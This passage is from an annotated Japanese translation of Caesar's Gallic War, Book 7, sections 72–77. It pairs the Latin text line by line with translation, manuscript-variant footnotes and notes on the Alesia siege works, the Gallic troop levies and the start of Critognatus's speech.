*ut eius fossae&lt;ref&gt;fossae がこの位置にあるのはβ系写本の記述で、α系写本では summa(e) の後になっている。&lt;/ref&gt; solum tantundem pateret, quantum summa&lt;ref&gt;summa はβ系写本の記述で、α系写本では summae となっている。&lt;/ref&gt; labra distarent&lt;ref&gt;distarent はα系写本の記述で、β系写本では distabant となっている。&lt;/ref&gt;. 
**その堀（の底）は、頂きの縁が離れているのとちょうど同じ分だけ広がるようにした。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：上辺と底の幅が等間隔になるような切り立った空堀にした。）&lt;/span&gt;
*②　Reliquas omnes munitiones ab ea fossa pedes&lt;ref&gt;pedes はα系写本の記述で、β系写本では pedibus となっている。&lt;/ref&gt; CCCC(quadringentos) reduxit. 
**ほかのすべての塁壁は、その堀から400ペース（約120m）後ろに引いた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：写本にあるこの数字は、19世紀のウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）の&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;発掘調査によって400[[w:パッスス|パッスス]]（約600m）と修正された。この堀は、アレスィアの西方に引かれたと思われる。）&lt;/span&gt;
*Id hoc consilio, 
**それは、以下の考えによる。
*quoniam tantum spatium necessario esset&lt;ref&gt;spatium necessario esset はβ系写本の記述で、α系写本では esset necessario spatio となっている。&lt;/ref&gt; complexus 
**これほどの空間が包囲されなければならないのであるから、
*nec facile totum corpus&lt;ref&gt;corpus はα系写本の記述で、β系写本では opus となっており、ρ系写本にはない。&lt;/ref&gt; corona militum cingeretur, 
**すべての包囲作業が兵士たちの&lt;ruby&gt;&lt;rb&gt;哨兵線&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コロナ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で取り囲まれるのは容易ではない。
*ne de improviso aut noctu ad munitiones hostium multitudo&lt;ref&gt;hostium multitudo はα系写本の記述で、β系写本では multitudo hostium となっている。&lt;/ref&gt; advolaret 
**不意に、あるいは夜間に、敵方の大勢が（ローマ側の）塁壁へ突進することがないように、
*aut interdiu tela in nostros operi destinatos conicere possent&lt;ref&gt;possent はα系写本の記述で、β系写本では posset となっている。&lt;/ref&gt;. 
**あるいは日中に、工事中の我が方（ローマ勢）に飛道具が投げ付けられることができないように。
&lt;br&gt;

[[画像:Fosse.Saint.Pierre.en.Chastres.png|thumb|right|300px|二重の堀およびその背後の堡塁（土塁と障壁・櫓）の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。]]
[[画像:AlesiaFortifications.JPG|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された、二重の堀およびその背後の堡塁（土塁と鹿柴、胸壁・鋸壁、櫓）。]]

*'''二重の堀'''
*③　Hoc intermisso spatio 
**この空間をあけて、
*duas fossas XV(quindecim) pedes latas eadem altitudine perduxit; 
**15ペース（約4.5m）の幅の2つの堀を、同じ深さ（15ペース）で張り巡らせた。
*quarum interiorem campestribus ac demissis locis 
**それらの内側（の堀）の平地で低く下がった所には、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：内側の堀とは、アレスィアに近い東側の堀と考えられている。）&lt;/span&gt;
*aqua ex flumine derivata complevit. 
**川から導かれた水で満たした。
&lt;br&gt;

*'''土塁と防柵、胸壁と鋸壁、鹿柴、櫓'''
*④　Post eas aggerem ac vallum XII(duodecim) pedum exstruxit. 
**それらの後ろには、12ペース（約3.6mの高さ）の&lt;ruby&gt;&lt;rb&gt;[[w:土塁|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;防柵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウァッルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を築き上げた。
*Huic loricam pinnasque adiecit 
**これに&lt;ruby&gt;&lt;rb&gt;胸壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ロリカ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;鋸壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピンナ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を付け加えて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：胸壁と鋸壁とは、[[ガリア戦記 第5巻#40節|第5巻40節]]で既出のように、凹凸形に編み込まれた柴の壁）&lt;/span&gt;
*grandibus cervis eminentibus ad commissuras pluteorum atque aggeris, 
**障壁と土塁の接合部の辺りに大きな&lt;ruby&gt;&lt;rb&gt;鹿柴&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケルウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を突き出させて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：&lt;ruby&gt;&lt;rb&gt;鹿柴&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ろくさい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（鹿砦または&lt;ruby&gt;&lt;rb&gt;逆茂木&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さかもぎ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;）とは、鹿の角のように枝分かれした杭や枝を逆立てた杭囲い。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;障壁とは、防柵の前に取り付けられた胸壁と鋸壁の総称であろう。）&lt;/span&gt;
*qui ascensum hostium tardarent, 
**敵方が登って来るのを妨げようとした。
*et turres toto opere circumdedit, quae pedes LXXX(octoginta) inter se distarent.
**構築物の全体を、互いに80ペース（約24m）離れて立つ櫓で取り巻いた。

===73節===
'''カエサルは、攻囲陣地をさらに障害物で補強する'''
*①　Erat eodem tempore et materiari et frumentari et tantas munitiones fieri necesse 
**材木収集と糧食徴発、およびこれほどの塁壁工事がなされることが、同時に必要であった。
*deminutis nostris copiis, quae longius ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; castris progrediebantur. 
**我が方の軍勢（ローマ勢）は減じており、陣営からはるか遠くに進み出ていた。
*Ac nonnumquam opera nostra Galli temptare 
**いくたびか、我が方の構築物に、ガッリア人が攻撃すること（を試み）、
*atque eruptionem ex oppido pluribus portis summa vi facere conabantur. 
**かつ、&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の多くの門から、主力でもって出撃することを試みた。
*②　Quare ad haec rursus opera addendum Caesar putavit, 
**そのゆえに、この構築物へさらに（以下の障害物が）付け加えられるべきだとカエサルは考えた。
*quo minore numero militum munitiones defendi possent. 
**それによって、より少ない数の兵士で塁壁が防衛されることができるように、と。
[[画像:Archeodrome_Beaune_8.jpg|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された攻囲陣地（上の画像と同じ物）。堡塁（土塁と障壁と櫓）の前の平地に、樹枝が突き出た「尖り杭」（奥）と落とし穴を枝で覆った「百合」（手前）が見える。]]
[[画像:Trous.de.loup.png|thumb|right|300px|サイコロの五つ目状に並べられた落とし穴「百合」（lilium）の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。図の上部が五つ目状の配列を、図の下部が落とし穴の断面図を示す。この断面図では、尖らされた樹幹の先端が、傾斜した穴の突き固められた底から4本指ほど突き出ていると解釈しているようである。カエサルの記述からは、地表から突き出ているとも解釈できる。]]
[[画像:Aiguillon.png|thumb|right|200px|鉄の鉤が固定された杭「刺」の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。]]
[[画像:Archeodrome_Beaune_2.jpg|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された攻囲陣地（上の画像と同じ物）。いちばん手前に「刺」が再現されている。]]
:　
'''尖り杭'''
*Itaque truncis arborum aut admodum firmis ramis abscisis 
**こうして、樹木の幹、あるいは非常に強固な枝が切り取られて、
*atque horum delibratis ac praeacutis cacuminibus 
**これらの皮がむかれて、&lt;ruby&gt;&lt;rb&gt;梢&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こずえ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;尖&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とが&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;らされて、
*perpetuae fossae quinos pedes altae ducebantur. 
**5[[w:ペース (長さ)|ペース]]（約1.5m）ずつの連続した堀が引かれた。
*③　Huc illi stipites demissi 
**ここに、あの樹幹が沈められて、
*et ab infimo revincti, ne revelli possent, ab ramis eminebant. 
**底から固くしばられて、はぎ取ることができないようにして、枝から（地上に）突き出るようにしていた。
*④　Quini erant ordines coniuncti inter se atque implicati; 
**5列ずつが、互いにつなげられて、結び合わされた。
*quo qui intraverant se ipsi acutissimis vallis induebant. 
**そこに踏み込んだ者は、自身が自らをきわめて鋭い杭に陥れた。
*Hos cippos appellabant. 
**（将兵たちは）これらを&lt;ruby&gt;&lt;rb&gt;尖り杭&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;キップス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と呼んだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:cippus|cippus]]「尖り杭」は「墓標」とも訳されるが、後者は古典期以降のラテン語で長方形の墓碑を指す&lt;ref&gt;&lt;small&gt;POSTCLASSIQUE&lt;/small&gt; &lt;i&gt;[[w:fr:Cippe|cippe]] (colonne funéraire rectangulaire)&lt;/i&gt;（ラルース社の羅仏辞典 &lt;small&gt;“Dictionnaire MaxiPoche Plus latin-français et français-latin”&lt;/small&gt; を参照）&lt;/ref&gt;。）&lt;/span&gt;
:　
'''百合'''
*⑤　Ante&lt;ref&gt;ante はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; quos&lt;ref&gt;quos はα系写本の記述で、β系写本では hos となっている。&lt;/ref&gt; obliquis ordinibus in quincuncem dispositis 
**それらの前に、（サイコロの）&lt;ruby&gt;&lt;rb&gt;五つ目状&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;クィンクンクス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に斜めの列に配置されて、
*scrobes tres in altitudinem pedes fodiebantur 
**深さ3ペース（約90cm）の穴が掘られた。
*paulatim angustiore ad infimum fastigio. 
**しだいに、より狭く、底の方へ傾斜を付けて。
*⑥　Huc teretes stipites [[w:la:Femur|feminis]] crassitudine 
**ここに、太ももの厚さの丸みを帯びた樹幹が
*ab summo praeacuti et praeusti demittebantur, 
**先端から尖らせられ、焦がされて（穴の底に）突き刺された。
*ita ut non amplius digitis quattuor ex terra&lt;ref&gt;ex terra はα系写本の記述で、V･ρ系写本では e terra 、T写本では contra となっている。&lt;/ref&gt; eminerent; 
**4本の指より長くないほど地中から突き出るように。
*⑦　simul confirmandi et stabiliendi causa 
**同時に、強固にして固定するために、
*singuli ab infimo solo pedes terra exculcabantur; 
**それぞれ底から1ペース（約30cm）だけ土で突き固められた。
*reliqua pars scrobis ad occultandas insidias viminibus ac virgultis integebatur. 
**穴の残りの部分は、わなを隠すために、柳の細枝や若枝で覆われた。
*⑧　Huius generis octoni ordines ducti ternos inter se pedes distabant. 
**この類いを、8列ずつ、3ペース（約90cm）ずつ互いに離して、作った。
*Id ex similitudine floris lilium appellabant. 
**（将兵たちは）それを花との類似から、&lt;ruby&gt;&lt;rb&gt;[[w:ユリ|百合]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;リリウム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と呼んだ。
:　
'''刺'''
*⑨　Ante haec taleae pedem longae ferreis hamis infixis totae in terram infodiebantur 
**これらの前に、鉄製の鉤が打ち込まれた長さ1ペース（約30cm）の棒の全体が地中に埋め込まれた。
*mediocribusque intermissis spatiis omnibus locis disserebantur, 
**適度な空間を間にあけて、至る所に配置された。
*quos stimulos nominabant.
**（将兵たちは）それらを刺と呼んだ。
{| class=&quot;wikitable&quot;
|-
! colspan=&quot;2&quot; | [[w:la:Obsidio Alesiae|Obsidio Alesiae]]
|-
| style=&quot;vertical-align:top; text-align:left; width:35em;&quot; |[[画像:Fortificazioni alesia png.png|thumb|left|500px|[[w:アレシアの戦い|アレシアの戦い]]における攻囲陣地の構成（図の説明はイタリア語）。]]
|}

===74節===
'''ガッリア人の来援に備えて、外周にも同様の塁壁を張り巡らす'''
*①　His rebus perfectis 
**これらの物が造り上げられると、
*regiones secutus quam potuit aequissimas pro loci natura 
**地勢に応じて、できるかぎり好都合な地帯を探し求めて、
*XIIII(quattuordecim) milia passuum complexus 
**14ローママイル（約21km）を取り巻いて、
*pares eiusdem generis munitiones, 
**（内周の塁壁と規模が）匹敵する同じ類いの塁壁を
*diversas ab his, contra exteriorem hostem perfecit, 
**これら（内周）に対置させて、外側の敵に対抗して造り上げた。
*ut ne magna quidem multitudine, si ita accidat equitatus&lt;ref&gt;equitatus はシェーラー（Schoeller）による修正提案で、写本(ω)では eius であるが、近代の校訂者たちにより修正提案がなされている。&lt;/ref&gt; discessu, 
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**もし[[w:騎兵|騎兵隊]]の退去によりこのようなこと（外敵との遭遇）が生じても、決して大軍により
*munitionum praesidia circumfundi possent; 
**塁壁の守備隊が包囲されることができないように。
*②　&lt;ne&gt; autem&lt;ref&gt;ne autem は近代の校訂者による修正提案で、α系･π系写本では aut、ρ系写本では ut となっている。&lt;/ref&gt; cum periculo ex castris egredi cogatur, 
**（ローマ勢が）危険を伴って陣営から進発することを強いられることもないように、
*dierum XXX(triginta) pabulum frumentumque habere omnes convectum iubet.
**30日分の[[w:糧秣|秣(まぐさ)や穀物]]を運び集めて保持することを皆に命じた。

===75節===
'''ガッリア同盟が各部族に動員を要請する'''
*①　Dum haec apud&lt;ref&gt;apud はα系写本の記述で、β系写本では ad となっている。&lt;/ref&gt; [[w:la:Alesia|Alesiam]] geruntur, 
**これらが[[w:アレシア|アレスィア]]のもとで遂行されている間に、
*Galli concilio principum indicto 
**ガッリア人たちは、領袖たちの会合を課して、
*non omnes hos&lt;ref&gt;omnes hos はα系写本の記述で、β系写本では単に omnes となっている。&lt;/ref&gt; qui arma ferre possent, ut censuit [[w:la:Vercingetorix|Vercingetorix]], convocandos statuunt, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が見積もったように武器を扱える者たち皆を召集するべき、ではないと判断した。
*sed certum numerum cuique ex civitate&lt;ref&gt;ex civitate はα系写本の記述で、β系写本では civitati となっている。&lt;/ref&gt; imperandum, 
**けれども、おのおのの部族から一定の兵数（の供出）を命令すること（を決めた）。
*ne tanta multitudine confusa nec moderari nec discernere suos nec frumentandi rationem&lt;ref&gt;frumentandi rationem はT･U･R写本などの記述で、V･U写本などでは frumenti rationem となっている。&lt;/ref&gt; habere possent. 
**これほどの大軍で混乱したり、味方を指揮できなかったり判別できなかったり、ということがないように。
*②　Imperant [[w:la:Haedui|Haeduis]] atque eorum clientibus, Segusiavis, Ambivaretis, Aulercis Brannovicibus, Blannoviis, milia XXXV(triginta quinque); 
**[[w:ハエドゥイ族|ハエドゥイー族]]とその庇護民であるセグスィアウィ族、アンビウァレティ族、アウレルキ・ブランノウィケス族、ブランノウィイ族に3万5千名を命令した。
*parem numerum Arvernis adiunctis Eleutetis, Cadurcis, Gabalis, Vellaviis, 
**[[w:アルウェルニ族|アルウェルニー族]]に隣接しているエレウテティ族、カドゥルキー族、ガバリ族、ウェッラウィイ族に同等の兵数。
*qui sub imperio Arvernorum esse consuerunt; 
**彼らはアルウェルニー族の支配下にいるのが常であった。
*③　Sequanis, Senonibus, Biturigibus, Santonis, Rutenis, Carnutibus duodena milia; 
**セクアニ族、セノネース族、ビトゥリゲース族、サントネス族、ルテーニー族、カルヌーテース族には1万2千ずつ。
*Bellovacis X(decem); totidem Lemovicibus; 
**ベッロウァキ族に1万。レモウィケス族に同じだけ多く（1万）。
*octona Pictonibus et Turonis et Parisiis et Helvetiis; 
**ピクトネス族とトゥロニ族とパリスィイ族と[[w:ヘルウェティイ族|ヘルウェティイ族]]に8(千)ずつ。
*Senonibus&lt;ref&gt;Senonibus は写本(ω)にある記述だが、sen&lt;a Suessi&gt;onibus「6(千)ずつをスエッスィオニス族…に」などさまざまな修正提案がなされている。&lt;/ref&gt;, Ambianis, Mediomatricis, Petrocoriis, Nerviis, Morinis, Nitiobrogibus quina milia; 
**セノネース族、アンビアニ族、メディオマトリキ族、ペトロコリイ族、ネルウィイ族、モリニ族、ニティオブロゲス族に5千ずつ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：Senonibus「セノネース族」は既出のためスエッスィオネス族などに書き替える修正提案がなされ、以下は校訂版によっては兵数がずれる。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;しかし、スエッスィオネス族 Suessiones は[[ガリア戦記 第2巻#12節|第2巻12節]]でレーミー族を通じてカエサルに降伏しており、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;第8巻6節でも「レーミー族に委ねられていた」「同盟者」と記されているので、アレスィアには出兵していないであろう。）&lt;/span&gt;
*Aulercis Cenomanis totidem; Atrebatibus IIII; 
**アウレルキ・ケノマニ族に同じだけ多く（5千）。アトレバテス族に4(千)。
*Veliocassis, Lexoviis et Aulercis Eburovicibus terna; 
**ウェリオカッセス族、レクソウィイ族とアウレルキ・エブロウィケス族に3(千)ずつ。
*Rauracis et Boiis&lt;ref&gt;Boiis はα系写本の記述で、β系写本では Bois となっている。&lt;/ref&gt; bina; 
**ラウラキ族とボイイ族に2(千)ずつ。
*XXX&lt;ref&gt;XXX はα系写本の記述で、さまざまな修正提案がなされている。&lt;/ref&gt; milia universis civitatibus, quae Oceanum attingunt 
**&lt;ruby&gt;&lt;rb&gt;大洋&lt;span style=&quot;color:#009900;&quot;&gt;〔[[w:大西洋|大西洋]]〕&lt;/span&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オーケアヌス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に接する諸部族全体に3万。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この数は写本により異なっており、混乱している。）&lt;/span&gt;
*quaeque eorum consuetudine Aremoricae appellantur, 
**それらは、彼ら（ガッリア人）の慣習でアレモリカエと呼ばれており、
*quo sunt in numero Coriosolites, Redones, Ambibarii, Caletes, Osismi, Veneti, Lemovices, Unelli. 
**コリオソリテス族、レドネス族、アンビバリイ族、カレテス族、オスィスミ族、ウェネティ族、レモウィケス族、ウネッリ族がそれらに数えられる。
*⑤　Ex his Bellovaci suum numerum non compleverunt&lt;ref&gt;compleverunt はα系写本の記述で、β系写本では contulerunt となっている。&lt;/ref&gt;, 
**これらのうちで、ベッロウァキ族は、自分たちの（割り当てられた）数を満たさなかった。
*quod se suo nomine atque arbitrio cum Romanis bellum gesturos dicebant 
**というのは、彼らは自らの名と裁量でもってローマ人と交戦するであろうと言ったのだ。
*neque cuiusquam imperio obtemperaturos; 
**（自分たちは）何者の命令にも服従しないであろう、と。
*rogati tamen ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; Commio pro eius hospitio duo milia una miserunt.
**けれども、[[w:コンミウス|コンミウス]]の懇願により、彼を賓客としているために、2千名を一緒に送り出した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ベッロウァキ族は要求された兵数の5分の1しか出さなかったが、第8巻22節ではこの出兵をも含めてカエサルから責められる。）&lt;/span&gt;

===76節===
'''コンミウスもガッリア同盟軍に内応、約25万の大軍が集結'''
*①　Huius opera Commii, ut antea demonstravimus, fideli atque utili 
**前に述べたように、この[[w:コンミウス|コンミウス]]の信頼すべき有益な働きを
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第4巻#21節|第4巻21節]]･[[ガリア戦記 第4巻#27節|27節]]･[[ガリア戦記 第4巻#35節|35節]]、[[ガリア戦記 第5巻#22節|第5巻22節]]、[[ガリア戦記 第6巻#6節|第6巻6節]]を参照。）&lt;/span&gt;
*superioribus annis erat usus in [[w:la:Britannia Maior|Britannia]] Caesar; 
**カエサルは先年（BC55～54年）に[[w:ブリタンニア|ブリタンニア]]において役立てていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：コンミウスは、[[w:ローマによるブリタンニア侵攻 (紀元前55年-紀元前54年)|カエサルのブリタンニア侵攻]]の先導役を務めていた。後にブリタンニアで王となる。）&lt;/span&gt;
*quibus ille pro meritis civitatem eius immunem esse iusserat, 
**彼（カエサル）はそれらの功績の見返りに、彼（コンミウス）の部族が免税となることを命じており、
*iura legesque reddiderat atque ipsi Morinos attribuerat. 
**権能や法度を元に戻してやり、（コンミウス）自身にモリニ族（の統治）をも委ねていた。
*②　Tamen tanta&lt;ref&gt;tamen tanta はα系写本の記述で、β系写本では tanta tamen となっている。&lt;/ref&gt; universae Galliae consensio fuit libertatis vindicandae et pristinae belli laudis recuperandae, 
**けれども、自主独立が求められるべきで、かつての戦争の誉れが取り戻されるべきだという、ガッリア全体の合意があった。
*ut neque beneficiis neque amicitiae memoria moverentur 
**その結果、（カエサルからの）厚遇にも友情の記憶にも揺り動かされず、
*omnesque et animo et opibus in id bellum incumberent. 
**（ガッリアの）皆が闘志によっても兵力によっても、その戦争に没頭していたのだ。
*③　Coactis equitum milibus VIII(octo) et peditum circiter CCL(ducenti quinquaginta)&lt;ref&gt;CCL はβ系写本の記述で、α系写本では CCXL または CCXXXX となっている。&lt;/ref&gt; 
**[[w:騎兵|騎兵]]8千騎と[[w:歩兵|歩兵]]およそ250(千)名が徴集されて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：歩兵の数は、β系写本では25万、α系写本では24万と異なっている。）&lt;/span&gt;
*haec in Haeduorum finibus recensebantur, numerusque inibatur, praefecti constituebantur. 
**これら（の軍勢）が[[w:ハエドゥイ族|ハエドゥイー族]]の領土で閲兵されて、数が見積もられて、指揮官たちが決められた。
*④　Commio Atrebati, Viridomaro et [[w:la:Eporedorix|Eporedorigi]] [[w:la:Haedui|Haeduis]], 
**アトレバテス族の[[w:コンミウス|コンミウス]]、ハエドゥイー族のウィリドマルスとエポレドリクス、
*[[w:la:Vercassivellaunus|Vercassivellauno]] Arverno, consobrino Vercingetorigis, summa imperii traditur. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の従兄弟である[[w:アルウェルニ族|アルウェルニー族]]のウェルカッスィウェッラウヌスに、最高司令権が託された。
*His delecti ex civitatibus attribuuntur, quorum consilio bellum administraretur. 
**彼らに、諸部族から選ばれた者たちが付与されて、その者たちの協議により戦争が指導された。
*⑤　Omnes alacres et fiduciae pleni ad [[w:la:Alesia|Alesiam]] proficiscuntur, 
**皆が、活気があって自身に満ち、[[w:アレシア|アレスィア]]へ向けて出発した。
*⑥　neque erat omnium quisquam qui adspectum modo tantae multitudinis sustineri posse arbitraretur, 
**これほどの大軍を一見しただけで持ちこたえられる者は、誰一人いないと思われた。
*praesertim ancipiti proelio, 
**とりわけ（内周と外周の）両面の戦闘で、
*cum ex oppido eruptione pugnaretur, foris tantae copiae equitatus peditatusque cernerentur.
**城塞都市からは出撃により戦われ、外からは騎兵と歩兵のこれほどの軍勢が視認されるのであるから。

===77節===
'''飢餓状態のアレスィアで、クリトグナトゥスが極論を唱える'''
*①　At ii qui [[w:la:Alesia|Alesiae]] obsidebantur 
**ところが、[[w:アレシア|アレスィア]]に包囲されていた者たちは、
*praeterita die qua auxilia suorum exspectaverant, 
**味方の援軍を待ち望んでいた日も経過して、
*consumpto omni frumento, 
**すべての糧食を消費し尽くして、
*inscii quid in [[w:la:Haedui|Haeduis]] gereretur, 
**[[w:ハエドゥイ族|ハエドゥイー族]]のところにおいて何がなされているのかを知らず、
*concilio coacto de exitu suarum fortunarum consultabant. 
**会合を召集して、自分たちの命運の結末について協議した。
*②　Ac variis dictis sententiis 
**そして、さまざまな意見が述べられた。
*quarum pars deditionem, 
**それらの一部は降伏を、
*pars dum vires suppeterent eruptionem censebat, 
**別の一部は、活動力が十分にある間に突撃することを考慮していた。
*non praetereunda oratio [[w:la:Critognatus|Critognati]] videtur propter eius singularem et nefariam crudelitatem. 
**クリトグナトゥスの演説は、彼の特異で非道な残酷さのために、看過されるべきではないと思われる。

&lt;br&gt;
'''クリトグナトゥスの演説が始まる'''
*③　Hic summo in Arvernis ortus loco et magnae habitus auctoritatis, 
**彼は、[[w:アルウェルニ族|アルウェルニー族]]において最高の身分に生まれ、大きな影響力を持つとみなされていた。

&lt;br&gt;
'''降伏論者は最低の輩だ'''
*&quot;Nihil&quot; inquit &quot;de eorum sententia dicturus sum, qui turpissimam servitutem deditionis nomine appellant, 
**「最も恥ずべき隷属を降伏という名で呼んでいる者たちの意見については、（私は）何も述べないであろう」と言った。
*neque hos habendos civium loco neque ad concilium adhibendos censeo. 
**「この者たちは市民の身分を持つべきではないし、会合へ招き入れられるべきでもない、と（私は）考える。

&lt;br&gt;
'''突撃論者には辛抱が欠けている'''
*④　Cum his mihi res sit, qui eruptionem probant; 
**突撃に賛同した者たちとともに、私の関わりはあるべきだ。
*quorum in consilio omnium vestrum consensu 
**その者たちの考えには、君たち皆の同意があるだろうし、
*pristinae residere virtutis memoria videtur. 
**かつての武勇の記憶が残っていることと思われる。
*⑤　Animi est ista mollitia, non virtus, paulisper inopiam ferre non posse. 
**しばらくの間も（糧食の）欠乏に耐えることができない（君らの）ことは、気の弱さであって、武勇ではない。
*Qui se ultro morti offerant facilius reperiuntur quam qui dolorem patienter ferant. 
**自発的に玉砕して逝った者たちは、苦痛に辛抱強く耐えた者たちよりも、より容易に見出されるのだ。
*⑥　Atque ego hanc sententiam probarem ─tantum apud me dignitas potest─, 
**しかし私は（突撃という）この意見に賛同したであろう。それほど、私にとっても価値がある。
*si nullam praeterquam vitae nostrae iacturam fieri viderem; 
**（ただし）もし、我々（ガッリア勢）の生命が投げ出されること以外に（方策が）何もないと思ったならばだ。
*⑦　sed in consilio capiendo omnem Galliam respiciamus, quam ad nostrum auxilium concitavimus. 
**けれども、作戦を立てるに当たっては、我々のために援軍を（我々が）呼び寄せた全ガッリアを顧慮しよう。
*⑧　Quid hominum milibus LXXX(octoginta) uno loco interfectis 
**（我々ガッリア勢）8万の人間が（アレスィア）1か所で殺戮されたら、
*propinquis consanguineisque nostris animi fore existimatis, 
**我々の親類縁者たちの士気はどうなると（君らは）判断しているのか。
*si paene in ipsis cadaveribus proelio decertare cogentur? 
**もし、ほとんど（我々）自身の亡骸の中で（味方が）決戦することを強いられたら？
*⑨　Nolite hos vestro auxilio exspoliare qui vestrae salutis causa suum periculum neglexerunt, 
**君らの身の安全のために、己の危険を顧みなかった者たちのことを、君らが援助すること（の機会）を奪わないでくれ。
*nec stultitia ac temeritate vestra aut animi imbecillitate omnem Galliam prosternere et perpetuae servituti subicere. 
**君らの愚かさや無思慮、または心の弱さによって、全ガッリアを滅ぼすことや永久の隷属に委ねることがないように。

&lt;br&gt;
'''ローマ人たちが恐れているのを見よ'''
*⑩　An quod ad diem non venerunt, de eorum fide constantiaque dubitatis? 
**それとも（援軍が）期日までにやって来なかったので、彼らの誠実さや剛直さについて（君らは）疑っているのか？
*Quid ergo? 
**それでは（あれは）何だ？
*Romanos in illis ulterioribus munitionibus animine causa cotidie exerceri putatis? 
**ローマ人たちがあの向こう側の塁壁のところで、趣味のために毎日たえず働かされていると（君らは）思うのか？
*⑪　Si illorum nuntiis confirmari non potestis omni aditu praesaepto, 
**もし、すべての出入口を（防柵で）遮られて、（援軍の到来を）彼らの伝令により（君らが）確証できないのならば、
*his utimini testibus adpropinquare eorum adventum, 
**こちらの者たち（ローマ人）を、彼ら（援軍）の到来が近づいている証人として示せ。
*cuius rei timore exterriti diem noctemque in opere versantur. 
**（援軍の到来という）その事態の恐れに戦慄して（ローマ人たちは）昼も夜も工事に従事しているのだ。

&lt;br&gt;
'''クリトグナトゥスの意見は？'''
*⑫　Quid ergo mei consilii est? 
**それでは、私の考えは何であるか？
